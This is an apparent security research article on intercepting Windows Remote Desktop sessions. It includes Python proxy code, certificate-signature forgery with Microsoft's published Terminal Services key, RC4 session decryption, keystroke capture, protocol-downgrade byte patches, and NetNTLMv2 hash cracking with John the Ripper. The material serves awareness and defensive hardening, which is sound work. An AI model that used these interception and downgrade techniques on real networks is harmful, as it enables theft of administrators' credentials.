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Introduction

The Remote Desktop Protocol (RDP) is used by system administrators everyday to log onto remote Windows
machines. Perhaps most commonly, it is used to perform administrative tasks on critical servers such as the
domain controller with highly privileged accounts, whose credentials are transmitted via RDP. It is thus vital to
use a secure RDP configuration.

We at SySS regularly observe that due to misconfigurations, system administrators in an Active Directory
environment are routinely presented with (and ignore) certificate warnings like this:

Figure 1: An SSL certificate warning

If warnings like these are a common occurrence in your environment, you will not be able to recognize a real
man-in-the-middle (MitM) attack.

This article was written to raise awareness of how important it is to take certificate warnings seriously and
show you how to securely configure your Windows landscape. The intended audience is system administrators,
penetration testers and security enthusiasts. While not necessary, it is recommended that you have a firm
understanding of the following subjects:

– Public key cryptography as well as symmetric cryptography (RSA and RC4)
– SSL
– x509 certificates
– TCP
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– Python
– Hexadecimal numbers and binary code

We will demonstrate how a MitM can sniff your credentials if you aren’t careful. None of this is particularly
new – it even has been done before, for example by Cain [2]. However, Cain is rather old, closed source and
only available for Windows. We want to analyze all the gory details and relevant inner workings of RDP and
simulate a real attack on it as closely as possible.

It should go without saying that the findings in this article must not be used to gain unauthorized access to any
system you do not own. They may only be used for educational purposes with the full consent of the systems’
owner. Otherwise, you will most likely break the law depending on your jurisdiction.

For the impatient, the link to the source code can be found at [1].

A First Look at the Protocol

Let’s fire up Wireshark and see what happens when we connect to a server via RDP:

Figure 2: The beginning of an RDP session in Wireshark

As we can see, the client starts with a suggestion of security protocols to use for the RDP session. We
differentiate these three protocols:

– Standard RDP security
– Enhanced RDP security or TLS security
– CredSSP
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In this case, the client is capable of the first two protocols. Note that standard RDP security is always
possible and does not need to be advertised by the client. TLS, or “enhanced RDP security”, is simply standard
RDP security wrapped inside an encrypted TLS tunnel. By the way, I will be using the terms SSL and TLS
interchangeably throughout this article.

CredSSP is also inside an TLS tunnel, but instead of transmitting the password in the protected tunnel, NTLM
or Kerberos is used for authentication. This protocol is also referred to as Network Level Authentication (NLA).

Early user authentication is a feature that allows the server to deny access even before any credentials (except
for the username) have been submitted, for example if the user does not have the necessary remote access
privileges.

In our Wireshark session, we can see that an SSL handshake is performed after client and server have agreed
on using enhanced RDP security. For this, we right click on the first packet after the negotiation packets, and
decode the TCP stream as SSL:

Figure 3: The beginning of an SSL handshake

So if we want to MitM an RDP connection, we cannot simply use an SSL proxy, because the proxy needs to be
aware of the RDP. It needs to recognize when to initiate the SSL handshake, similarly to StartTLS in SMTP or
FTP. We choose Python to implement such a proxy. For this we simply create a server socket that the victim’s
client connects to, and a client socket that connects to the actual server. We forward the data between these
sockets and wrap them in an SSL socket, if necessary. Of course, we will be closely inspecting and possibly
modifying said data.

The first thing we will want to modify is the client’s protocol capabilities. The client may want to tell the server
that it can do CredSSP, but we will change that on the way to the server to standard RDP security. And in the
default configuration, the server will happily comply.
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Building a Python MitM proxy for RDP

The main loop of our Python script will roughly look like this:

1 def run():
2 open_sockets()
3 handle_protocol_negotiation()
4 if not RDP_PROTOCOL == 0:
5 enableSSL()
6 while True:
7 if not forward_data():
8 break
9

10

11 def forward_data():
12 readable, _, _ = select.select([local_conn, remote_socket], [], [])
13 for s_in in readable:
14 if s_in == local_conn:
15 From = "Client"
16 to_socket = remote_socket
17 elif s_in == remote_socket:
18 From = "Server"
19 to_socket = local_conn
20 data = s_in.recv(4096)
21 if len(data) == 4096:
22 while len(data)%4096 == 0:
23 data += s_in.recv(4096)
24 if data == b"": return close()
25 dump_data(data, From=From)
26 parse_rdp(data, From=From)
27 data = tamper_data(data, From=From)
28 to_socket.send(data)
29 return True
30

31

32 def enableSSL():
33 global local_conn
34 global remote_socket
35 print("Enable SSL")
36 local_conn = ssl.wrap_socket(
37 local_conn,
38 server_side=True,
39 keyfile=args.keyfile,
40 certfile=args.certfile,
41 )
42 remote_socket = ssl.wrap_socket(remote_socket)
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The function run() opens the sockets, handles the protocol negotiation and enables SSL, if necessary.
Afterwards, the data is simply being forwarded between the two sockets. The dump_data() function prints
the data as a hexdump to the screen if the debug flag is set. parse_rdp() extracts interesting information
from that data, and tamper_data() might make modifications to it.

Basic cryptography

Because we will need it for breaking standard RDP security, I want to quickly cover the basics of RSA. You can
skip this section if you want.

In RSA, encryption, decryption and signing are purely mathematical operations and work on simple integers.
Just keep in mind that all of these operations are performed on finite groups [3].

When you generate an RSA key pair, you need to find two large prime numbers, p and q. You take their product,
n = pq (this is called the modulus), compute φ(n) = (p− 1)(q − 1) (the Euler totient function) and choose
an integer e that is co-prime to φ(n). Then you need to find the number d that satisfies

e · d ≡ 1 mod φ(n).

The number d is the private key while e and n make up the public key. Of course, theoretically d can be
reconstructed from n and e, but φ(n) is very hard to compute unless you know p and q. That is why the
security of RSA depends crucially on the difficulty of factoring large numbers. So far, no one knows how to
factor large numbers efficiently – unless you have a working quantum computer [4, 5].

To encrypt a message m, we raise it to the power e modulo n:

c ≡ me mod n

To decrypt a cipher text c, we do the same with the private exponent d:

m ≡ cd mod n

If it is not obvious to you that this is really the inverse operation to encrypting, don’t worry. While the math
checks out, it’s just a little too complicated for this article.

Signing is the same as decrypting. You just perform it on the hash of a message.

Because these operations can be quite expensive if m or c are much larger than 256 bit or so, you typically
only use RSA to encrypt symmetric keys. The actual message is then encrypted by using a symmetric cipher
(typically AES) with a freshly generated key.
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Breaking standard RDP security

Actually, there is not much to break. It is already completely broken by design, and I will tell you why.

The way standard RDP security works is this:

– The client announces its intention to use the standard RDP security protocol.
– The server agrees and sends its own RSA public key along with a “Server Random” to the client. The

collection of the public key and some other information (such as the hostname, etc.) is called a “certificate”.
The certificate is signed using the Terminal Services private key to ensure authenticity.

– The client validates the certificate by using the Terminal Services public key. If successful, it uses the
server’s public key to encrypt the “Client Random” and sends it to the server.

– The server decrypts the Client Random with its own private key.
– Both server and client derive the session keys [6] from the Server Random and the Client Random. These
keys are used for symmetrically encrypting the rest of the session.

Note that all of this happens in plain text, not inside an SSL tunnel. That is fine in principle, Microsoft simply
tried to implement the same techniques which SSL employs themselves. However, cryptography is hard [7],
and as a general rule, you should always rely on established solutions that stood the test of time instead
of implementing your own. And Microsoft promptly made a cardinal mistake. It is so obvious that I cannot
understand why they did it like that.

Can you spot the mistake here? How does the client get the Terminal Services public key? The answer is:
It comes pre-installed. That means it is the same key on every system. And that means the private key
is also always the same! So it can be extracted from any Windows installation. In fact, we don’t even
need to do that, since by now Microsoft has decided to officially publish it and we can simply look it up at
microsoft.com [8].

After the session keys have been derived, the symmetric encryption can be done on several levels [9]: None,
40 bit RC4, 56 bit RC4, 128 bit RC4, or 3DES (which they call FIPS). The default is 128 bit RC4 (“High”). But if
we can eavesdrop on the key, it does not matter how strong the encryption is at all.

So the plan is clear: When encountering the server’s public key, we quickly generate our own RSA key pair of
the same size and overwrite the original key with it. Of course, we need to generate a signature of our public
key using the Terminal Services private key and replace the original signature with it. Then, after the client
successfully validates our bogus public key, we receive its Client Random. We decrypt it using our private key,
write it down for later and reencrypt it using the server’s public key. That’s it! From then on we can passively
read the encrypted traffic between client and server.

The only challenge is to properly parse the RDP packets. Here is the one that we are interested in:

1 From server:
2 00000000: 03 00 02 15 02 F0 80 7F 66 82 02 09 0A 01 00 02 ........f.......
3 00000010: 01 00 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 ..0...".........
4 00000020: 02 01 00 02 01 01 02 03 00 FF F8 02 01 02 04 82 ................
5 00000030: 01 E3 00 05 00 14 7C 00 01 2A 14 76 0A 01 01 00 ......|..*.v....
6 00000040: 01 C0 00 4D 63 44 6E 81 CC 01 0C 10 00 04 00 08 ...McDn.........
7 00000050: 00 00 00 00 00 01 00 00 00 03 0C 10 00 EB 03 04 ................
8 00000060: 00 EC 03 ED 03 EE 03 EF 03 02 0C AC 01 02 00 00 ................
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9 00000070: 00 02 00 00 00 20 00 00 00 78 01 00 00 D9 5E A3 ..... ...x....^.
10 00000080: AA D6 F6 80 EB 0B 3E 1D 8D 30 B3 AB 6A AE 26 07 ......>..0..j.&.
11 00000090: EF 89 3D CB 15 98 AE 22 7E 4B 2B AF 07 01 00 00 ..=...."~K+.....
12 000000A0: 00 01 00 00 00 01 00 00 00 06 00 1C 01 52 53 41 .............RSA
13 000000B0: 31 08 01 00 00 00 08 00 00 FF 00 00 00 01 00 01 1...............
14 000000C0: 00 AF 92 E8 20 AC D5 F7 BB 9F CF 6F 6E 2C 63 07 .... ......on,c.
15 000000D0: 34 CC A7 7A 21 AB 29 8A 1B 5D FE FD 43 F1 10 FC 4..z!.)..]..C...
16 000000E0: DB C6 D6 4B F1 B7 E1 B9 5E F7 68 46 58 EF 09 39 ...K....^.hFX..9
17 000000F0: 08 03 0F 54 0C 58 FA 3E A3 4A 50 F6 91 E9 41 F8 ...T.X.>.JP...A.
18 00000100: 89 1D CC 14 3C 64 0B 1D 2B 0C 98 DF 63 D6 A6 72 ....<d..+...c..r
19 00000110: 42 ED AC CB 88 44 85 47 D3 89 45 BA BD 9F 2D D0 B....D.G..E...-.
20 00000120: D5 0E 24 09 AD 02 2B 9D 37 18 DD 12 8B F6 21 5B ..$...+.7.....![
21 00000130: 20 47 33 52 9C 00 32 BA E7 83 80 7F AA 3C F3 C7 G3R..2......<..
22 00000140: 95 DD 84 C2 4E 5E 0C 27 52 74 FC 87 0E 10 D9 42 ....N^.'Rt.....B
23 00000150: 19 0D F5 77 57 3F 71 4F 9C 34 0F 12 F8 E8 B0 59 ...wW?qO.4.....Y
24 00000160: F7 CD 09 F9 A5 25 AE 6A CB E6 CB 88 24 DA D2 46 .....%.j....$..F
25 00000170: 42 21 21 94 2E 6D 42 FF 9F AF 89 E3 BA EC CC DA B!!..mB.........
26 00000180: 15 71 5D 17 A9 5A 00 59 D4 AD EA E4 93 58 06 5B .q]..Z.Y.....X.[
27 00000190: F7 22 2A 1F DD DC C6 27 30 2A 25 10 B1 A8 40 98 ."*....'0*%...@.
28 000001A0: 6B 24 B6 4E 2A 79 B7 40 27 F4 BE 07 35 80 50 48 k$.N*y.@'...5.PH
29 000001B0: 72 A4 0D 2B AA B0 5C 89 C0 96 2A 49 1E BC A1 AB r..+..\...*I....
30 000001C0: D0 00 00 00 00 00 00 00 00 08 00 48 00 3D 5F 11 ...........H.=_.
31 000001D0: A1 C1 38 09 1B B1 85 52 1E D1 03 A1 1E 35 E7 49 ..8....R.....5.I
32 000001E0: CC 25 C3 3C 6B 98 77 C2 87 03 C4 F5 78 09 78 F1 .%.<k.w.....x.x.
33 000001F0: 43 21 07 BD AB EE 8E B0 F6 BC FC B0 A6 6A DD 49 C!...........j.I
34 00000200: A0 F1 39 86 FE F1 1E 36 3C CE 69 C0 62 00 00 00 ..9....6<.i.b...
35 00000210: 00 00 00 00 00 .....

I highlighted the bytes that represent the public key. The two bytes directly preceding it represent its length in
little-endian byte order (0x011c). As we discussed before, the public key consists of the modulus and the
public exponent. Read the RDP specifications [10] for the details on this data structure.

Let’s look at the information that is of interest to us. Here, the modulus is:

1 00000000: AF92 E820 ACD5 F7BB 9FCF 6F6E 2C63 0734 ... ......on,c.4
2 00000010: CCA7 7A21 AB29 8A1B 5DFE FD43 F110 FCDB ..z!.)..]..C....
3 00000020: C6D6 4BF1 B7E1 B95E F768 4658 EF09 3908 ..K....^.hFX..9.
4 00000030: 030F 540C 58FA 3EA3 4A50 F691 E941 F889 ..T.X.>.JP...A..
5 00000040: 1DCC 143C 640B 1D2B 0C98 DF63 D6A6 7242 ...<d..+...c..rB
6 00000050: EDAC CB88 4485 47D3 8945 BABD 9F2D D0D5 ....D.G..E...-..
7 00000060: 0E24 09AD 022B 9D37 18DD 128B F621 5B20 .$...+.7.....![
8 00000070: 4733 529C 0032 BAE7 8380 7FAA 3CF3 C795 G3R..2......<...
9 00000080: DD84 C24E 5E0C 2752 74FC 870E 10D9 4219 ...N^.'Rt.....B.

10 00000090: 0DF5 7757 3F71 4F9C 340F 12F8 E8B0 59F7 ..wW?qO.4.....Y.
11 000000A0: CD09 F9A5 25AE 6ACB E6CB 8824 DAD2 4642 ....%.j....$..FB
12 000000B0: 2121 942E 6D42 FF9F AF89 E3BA ECCC DA15 !!..mB..........
13 000000C0: 715D 17A9 5A00 59D4 ADEA E493 5806 5BF7 q]..Z.Y.....X.[.
14 000000D0: 222A 1FDD DCC6 2730 2A25 10B1 A840 986B "*....'0*%...@.k
15 000000E0: 24B6 4E2A 79B7 4027 F4BE 0735 8050 4872 $.N*y.@'...5.PHr
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16 000000F0: A40D 2BAA B05C 89C0 962A 491E BCA1 ABD0 ..+..\...*I.....
17 00000100: 0000 0000 0000 0000 ........

The signature is:

1 00000000: 3D5F 11A1 C138 091B B185 521E D103 A11E =_...8....R.....
2 00000010: 35E7 49CC 25C3 3C6B 9877 C287 03C4 F578 5.I.%.<k.w.....x
3 00000020: 0978 F143 2107 BDAB EE8E B0F6 BCFC B0A6 .x.C!...........
4 00000030: 6ADD 49A0 F139 86FE F11E 363C CE69 C062 j.I..9....6<.i.b
5 00000040: 0000 0000 0000 0000 ........

And the Server Random is:

1 00000000: D95E A3AA D6F6 80EB 0B3E 1D8D 30B3 AB6A .^.......>..0..j
2 00000010: AE26 07EF 893D CB15 98AE 227E 4B2B AF07 .&...=...."~K+..

All in little-endian byte order. We take note of the Server Random and replace the other two values.

To generate our RSA key, we will use openssl. I know that there is a Python library for RSA, but it is much
slower than openssl.

1 $ openssl genrsa 512 | openssl rsa -noout -text
2 Generating RSA private key, 512 bit long modulus
3 .....++++++++++++
4 ..++++++++++++
5 e is 65537 (0x010001)
6 Private-Key: (512 bit)
7 modulus:
8 00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
9 e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:

10 81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
11 21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
12 64:b4:98:1f:d7
13 publicExponent: 65537 (0x10001)
14 privateExponent:
15 00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
16 88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
17 cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
18 05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
19 8a:f6:47:38:c1
20 prime1:
21 [...]

Here we can see the modulus n, the public exponent e and the private exponent d. Their representation is in
base 16 using the big-endian byte order. We actually need a 2048 bit key and not 512, but you get the idea.

Forging the signature is easy. We take the MD5 hash of the first six fields of the certificate, add some constants
according to the specifications [11] and encrypt it with the private part of the Terminal Services key [8]. This is
how it is done in Python:
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1 def sign_certificate(cert):
2 """Signs the certificate with the private key"""
3 m = hashlib.md5()
4 m.update(cert)
5 m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
6 m = int.from_bytes(m, "little")
7 d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
8 n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
9 s = pow(m, d, n)

10 return s.to_bytes(len(crypto["sign"]), "little")

The next message we need to intercept is the one containing the encrypted Client Random. It looks something
like this:

1 From client:
2 00000000: 03 00 01 1F 02 F0 80 64 00 08 03 EB 70 81 10 01 .......d....p...
3 00000010: 02 00 00 08 01 00 00 DD 8A 43 35 DD 1A 12 99 44 .........C5....D
4 00000020: A1 3E F5 38 5C DB 3F 3F 40 D1 ED C4 A9 3B 60 6A .>.8\.??@....;`j
5 00000030: A6 10 5A AF FD 17 7A 21 43 69 D0 F8 9B F1 21 A3 ..Z...z!Ci....!.
6 00000040: F1 49 C6 80 96 03 62 BF 43 54 9D 38 4D 68 75 8C .I....b.CT.8Mhu.
7 00000050: EA A1 69 23 2F F6 E9 3B E7 E0 48 A1 B8 6B E2 D7 ..i#/..;..H..k..
8 00000060: E2 49 B1 B2 1B BF BA D9 65 0B 34 5A B0 10 73 6E .I......e.4Z..sn
9 00000070: 4F 15 FA D7 04 CA 5C E5 E2 87 87 ED 55 0F 00 45 O.....\.....U..E

10 00000080: 65 2C C6 1A 4C 09 6F 27 44 54 FE B6 02 1C BA 9F e,..L.o'DT......
11 00000090: 3B D8 D0 8D A5 E6 93 45 0C 9B 68 36 5C 93 16 79 ;......E..h6\..y
12 000000A0: 0B B8 19 BF 88 08 5D AC 19 85 7C BB AA 66 C4 D9 ......]...|..f..
13 000000B0: 8E C3 11 ED F3 8D 27 60 8A 08 E0 B1 20 1D 08 9A ......'`.... ...
14 000000C0: 97 44 6D 33 23 0E 5C 73 D4 02 4C 20 97 5C C9 F6 .Dm3#.\s..L .\..
15 000000D0: 6D 31 B2 70 35 39 37 A4 C2 52 62 C7 5A 69 54 44 m1.p597..Rb.ZiTD
16 000000E0: 4C 4A 75 D2 63 CC 52 15 8F 6E 2A D8 0D 61 A5 0A LJu.c.R..n*..a..
17 000000F0: 47 5B 2A 68 97 7B 1B FF D3 33 10 49 15 9A D6 2C G[*h.{...3.I...,
18 00000100: DF 04 6D 93 21 78 32 98 8B 0B F4 01 33 FB CC 5B ..m.!x2.....3..[
19 00000110: 83 BA 2D 7F EA 82 3B 00 00 00 00 00 00 00 00 ..-...;........

Again, I highlighted the encrypted Client Random. The four bytes preceding it represent its length (0x0108).
Since it has been encrypted with our certificate, we can easily decrypt it:

1 00000000: 4bbd f97d 49b6 8996 ec45 0ce0 36e3 d170 K..}I....E..6..p
2 00000010: 65a8 f962 f487 5f27 cd1f 294b 2630 74e4 e..b.._'..)K&0t.

We just need to reencrypt it using the server’s public key and substitute it in the answer before passing it on.

Unfortunately, we are not quite done. We now know the secret Client Random, but for whatever reason
Microsoft decided to not just use that as the symmetric key. There is an elaborate procedure [6] to derive an
encryption key for the client, an encryption key for the server and a signing key. It is boring but straightforward.

After we derive the session keys, we can initialize the s-boxes for the RC4 streams. Since RDP is using a
separate key for messages from the server than for messages from the client, we need two s-boxes. The s-box
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is an array of 256 bytes which are shuffled in a certain way that depends on the key. Then the s-box produces
a stream of pseudo random numbers, which is xor-ed with the data stream. My Python implementation looks
like this:

1 class RC4(object):
2 def __init__(self, key):
3 x = 0
4 self.sbox = list(range(256))
5 for i in range(256):
6 x = (x + self.sbox[i] + key[i % len(key)]) % 256
7 self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i]
8 self.i = self.j = 0
9 self.encrypted_packets = 0

10

11

12 def decrypt(self, data):
13 out = []
14 for char in data:
15 self.i = (self.i + 1) % 256
16 self.j = (self.j + self.sbox[self.i]) % 256
17 self.sbox[self.i], self.sbox[self.j] = (
18 self.sbox[self.j],
19 self.sbox[self.i]
20 )
21

22 out.append(char ^ self.sbox[(
23 self.sbox[self.i] +
24 self.sbox[self.j]) % 256
25 ])
26 self.encrypted_packets += 1
27 if self.encrypted_packets >= 4096:
28 self.update_key()
29 return bytes(bytearray(out))
30

31 def update_key(self):
32 print("Updating session keys")
33 # TODO finish this

As you can see, the protocol requires the key to be refreshed after 4096 encrypted packets. I haven’t bothered
to implement it because I am only interested in the credentials as a proof-of-concept anyway. Feel free to send
me a patch!

Now we have everything we need to read all traffic. We are particularly interested in packets that contain
information about keyboard input events, i.e. key presses and key releases. What I gathered from the
specification [12] is that the messages can contain several packets, and that there are slow path packets (start
with 0x03) and fast path packets (first byte is divisible by four).
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A keyboard input event [13] consists of two bytes, for example:

1 00000000: 01 1F ..

This would mean that the “S” key (0x1F) has been released (because the first byte is 0x01).

I’m not doing a very good job at parsing those, because sometimes mouse movement events will be detected
as keyboard events. Also, the scancode needs to be translated to a virtual key code, which depends on the
keyboard type and keyboard layout. This seems highly non-trivial, so I’m not doing it. I just use the map
referenced at [14]. It is good enough for a proof-of-concept.

Let’s try it out. Upon connecting to our bogus RDP server, we already get a warning that the server’s authenticity
cannot be verified:

Figure 4: The server’s identity cannot be verified…

Notice something? It’s not an SSL warning. Anyway, we can now see the key presses (see Figure 5).

By the way, this is what Cain is doing.

Breaking enhanced RDP security

To me, downgrading to standard RDP security is unsatisfactory. If I were an attacker, I would try to make the
attack look as inconspicuous as possible. The victim will notice a different warning than usual and that it has
to enter their credentials after the connection has already been established.

It always bugged me that I don’t see the same SSL warning when I MitM the RDP connection with Cain. I find
it hard to explain to a customer why they have to take SSL warnings seriously, especially if they use self-signed
certificates which cannot possibly be verified, if this MitM tool causes a completely different warning to be
shown.
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Figure 5: Keyboard input events in clear text. The password is Secr3t!

So let’s try to downgrade the connection to enhanced RDP security. For this, we need our own self-signed SSL
certificate, which can be generated by openssl:

1 $ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \
2 -subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null

We wrap our Python TCP sockets inside SSL sockets at the right time and we are done. I said earlier that
the standard RDP protocol is being used inside the SSL tunnel, but the server always chooses “None” as the
encryption level. That’s fine, since it can be safely assumed that the SSL wrapper ensures the authenticity and
integrity of the data. Using RC4 on top of SSL is a needless waste of resources. The extraction of key strokes
works exactly like in the previous section.

The only extra security feature is consists of the server confirming the original protocol negotiation request.
After the SSL connection has been established, the server says to the client: “By the way, you told me these
were the security protocols you are capable of.” In binary, it looks like this:

1 From server:
2 00000000: 03 00 00 70 02 F0 80 7F 66 66 0A 01 00 02 01 00 ...p....ff......
3 00000010: 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 02 01 0..."...........
4 00000020: 00 02 01 01 02 03 00 FF F8 02 01 02 04 42 00 05 .............B..
5 00000030: 00 14 7C 00 01 2A 14 76 0A 01 01 00 01 C0 00 4D ..|..*.v.......M
6 00000040: 63 44 6E 2C 01 0C 10 00 04 00 08 00 01 00 00 00 cDn,............
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7 00000050: 01 00 00 00 03 0C 10 00 EB 03 04 00 EC 03 ED 03 ................
8 00000060: EE 03 EF 03 02 0C 0C 00 00 00 00 00 00 00 00 00 ................

The client can then compare this value with what it originally sent in the very first request and terminate the
connection if it doesn’t match. Obviously, it is already too late. We are in the middle and can hide the forged
negotiation request from the client by replacing the right byte (highlighted above at offset 0x4C) with its
original value (in this case 0x03).

After that, we can read everything in the clear. Go ahead and try it out.

As expected, the victim sees a proper SSL warning. But something is still different. Instead of being prompted
for our credentials before the RDP connection is established, the victim is faced with the Windows logon
screen. Unlike with NLA, authentication happens inside the session. Again, that is something that is different
from the typical workflow of an admin and could be noticed.

Breaking CredSSP

Okay, I’ll admit it right here: We are not going to break CredSSP. But we’ll find a way to circumvent it.

First, let’s see what happens if we don’t downgrade the connection at all. The relevant message to the server
is this one:

1 From client:
2 00000000: 30 82 02 85 A0 03 02 01 04 A1 82 01 DA 30 82 01 0............0..
3 00000010: D6 30 82 01 D2 A0 82 01 CE 04 82 01 CA 4E 54 4C .0...........NTL
4 00000020: 4D 53 53 50 00 03 00 00 00 18 00 18 00 74 00 00 MSSP.........t..
5 00000030: 00 2E 01 2E 01 8C 00 00 00 08 00 08 00 58 00 00 .............X..
6 00000040: 00 0A 00 0A 00 60 00 00 00 0A 00 0A 00 6A 00 00 .....`.......j..
7 00000050: 00 10 00 10 00 BA 01 00 00 35 82 88 E2 0A 00 39 .........5.....9
8 00000060: 38 00 00 00 0F 6D 49 C4 55 46 C0 67 E4 B4 5D 86 8....mI.UF.g..].
9 00000070: 8A FC 3B 59 94 52 00 44 00 31 00 34 00 55 00 73 ..;Y.R.D.1.4.U.s

10 00000080: 00 65 00 72 00 31 00 57 00 49 00 4E 00 31 00 30 .e.r.1.W.I.N.1.0
11 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
12 000000A0: 00 00 00 00 00 00 00 00 00 11 0D 65 8E 92 7F 07 ...........e....
13 000000B0: 7B 04 02 04 0C C1 A6 B6 EF 01 01 00 00 00 00 00 {...............
14 000000C0: 00 D5 FD A8 7C EC 95 D2 01 A7 55 9D 44 F4 31 84 ....|.....U.D.1.
15 000000D0: 8A 00 00 00 00 02 00 08 00 52 00 44 00 31 00 34 .........R.D.1.4
16 000000E0: 00 01 00 08 00 44 00 43 00 30 00 31 00 04 00 14 .....D.C.0.1....
17 000000F0: 00 72 00 64 00 31 00 34 00 2E 00 6C 00 6F 00 63 .r.d.1.4...l.o.c
18 00000100: 00 61 00 6C 00 03 00 1E 00 64 00 63 00 30 00 31 .a.l.....d.c.0.1
19 00000110: 00 2E 00 72 00 64 00 31 00 34 00 2E 00 6C 00 6F ...r.d.1.4...l.o
20 00000120: 00 63 00 61 00 6C 00 05 00 14 00 72 00 64 00 31 .c.a.l.....r.d.1
21 00000130: 00 34 00 2E 00 6C 00 6F 00 63 00 61 00 6C 00 07 .4...l.o.c.a.l..
22 00000140: 00 08 00 D5 FD A8 7C EC 95 D2 01 06 00 04 00 02 ......|.........
23 00000150: 00 00 00 08 00 30 00 30 00 00 00 00 00 00 00 00 .....0.0........
24 00000160: 00 00 00 00 20 00 00 4C FA 6E 96 10 9B D9 0F 6A .... ..L.n.....j
25 00000170: 40 80 DA AA 8E 26 4E 4E BF AF FA E9 E3 68 AF 78 @....&NN.....h.x
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26 00000180: 7F 53 E3 89 D9 6B 18 0A 00 10 00 00 00 00 00 00 .S...k..........
27 00000190: 00 00 00 00 00 00 00 00 00 00 00 09 00 2C 00 54 .............,.T
28 000001A0: 00 45 00 52 00 4D 00 53 00 52 00 56 00 2F 00 31 .E.R.M.S.R.V./.1
29 000001B0: 00 39 00 32 00 2E 00 31 00 36 00 38 00 2E 00 34 .9.2...1.6.8...4
30 000001C0: 00 30 00 2E 00 31 00 37 00 39 00 00 00 00 00 00 .0...1.7.9......
31 000001D0: 00 00 00 00 00 00 00 19 0A F7 ED 0C 45 C0 80 73 ............E..s
32 000001E0: 53 74 1A AB AF 13 B4 A3 81 9F 04 81 9C 01 00 00 St..............
33 000001F0: 00 7F 38 FE A6 32 5E 4E 57 00 00 00 00 42 B4 6E ..8..2^NW....B.n
34 00000200: 39 09 AA CC 8F 04 71 5C 54 CF AD E0 A0 58 AA 06 9.....q\T....X..
35 00000210: B2 F0 0A 33 05 03 54 60 FB E1 68 FC F5 0D A9 C0 ...3..T`..h.....
36 00000220: D9 57 BA 43 F2 92 F7 6F 32 74 4E 86 CD 7F F0 3B .W.C...o2tN....;
37 00000230: DD A4 A4 67 0A B7 7E 64 0B 63 D7 4B F7 C6 B7 8F ...g..~d.c.K....
38 00000240: 21 15 9D EA 3E E1 1A 50 AB AA D3 6E 46 9D 68 6E !...>..P...nF.hn
39 00000250: 2A EA 44 5C E0 51 1D 41 B4 13 EB B9 90 E8 75 AD *.D\.Q.A......u.
40 00000260: A0 99 4E F2 A5 99 D4 8D 2A 11 73 F1 95 FC 7E A0 ..N.....*.s...~.
41 00000270: 06 FD 13 DB D0 3B 7A B4 41 97 B6 94 D4 11 62 F5 .....;z.A.....b.
42 00000280: 4C 06 BE 03 9C 0F 55 0E 3C L.....U.&lt;

I highlighted the Client Challenge and NTLM response. Both are right next to each other. The Server Challenge
was in the previous message from the server.

What we are looking at here is NTLM authentication [15]. It is a challenge-response technique where the
client maps a Server Challenge (similar to the Server Random from earlier), a Client Challenge, and the hash of
the user’s password together with some other values onto a cryptographic hash value. This value, called the
“NTLM response”, is then transmitted to the server.

The details of how this value is computed are not important to us. The only thing we need to know is that it
cannot be replayed or used for pass-the-hash attacks. But it can be subjected to password guessing attacks!
The underlying hash algorithm is HMAC-MD5, which is a fairly cheap hash algorithm (so we can do many
guesses per second) but it is also using a salt (which rules out rainbow tables).

We can now try to crack it with Hashcat [17] or John The Ripper [18]. The format of the hash for John is
this [16]:

1 <Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>

So in our case we would have:

User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000

If we put this hash in a file called hashes.txt, this command will verify that we got it right:
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1 $ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2 --stdin hashes.txt
2 Using default input encoding: UTF-8
3 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
4 Will run 8 OpenMP threads
5 Press Ctrl-C to abort, or send SIGUSR1 to john process for status
6 S00perS3cretPa$$word (User1)
7 1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word
8 Use the "--show" option to display all of the cracked passwords reliably
9 Session completed

So this is better than nothing. But we can do better.

The question we need to ask ourselves is: How does the server verify the NTLM response? It asks the domain
controller. What if the domain controller is not available? It says “screw it, let us do enhanced RDP security
instead of NLA”, and the client will comply. And the kicker is: Since the client already cached the user’s
password, it will simply transmit it instead of directing the user to the Windows login screen! That is precisely
what we wanted. Except for the SSL warning (which the victim might be used to anyway), nothing suspicious
will happen at all.

So what we do is this: After the client sends its NTLM response, we will replace the server’s answer with this:

1 00000000: 300d a003 0201 04a4 0602 04c0 0000 5e 0.............^

I couldn’t find documentation on this anywhere (if you did, please write me an e-mail), but this is what the
server responds with if it cannot contact the domain controller. The client will fall back to enhanced RDP
security, show the SSL warning, and transmit the password inside the SSL tunnel to the server.

As a side remark, note that we did not get an SSL warning. According to the specifications [19], the client will
send the SSL certificate’s fingerprint to the server encrypted with the key negotiated by the CredSSP protocol.
If it does not match the fingerprint of the server’s certificate, the session is terminated. That is the reason why
the above works if the victim provides incorrect credentials – we are able to see the (incorrect) password.
However, if the password is correct, we will observe a TLS internal error.

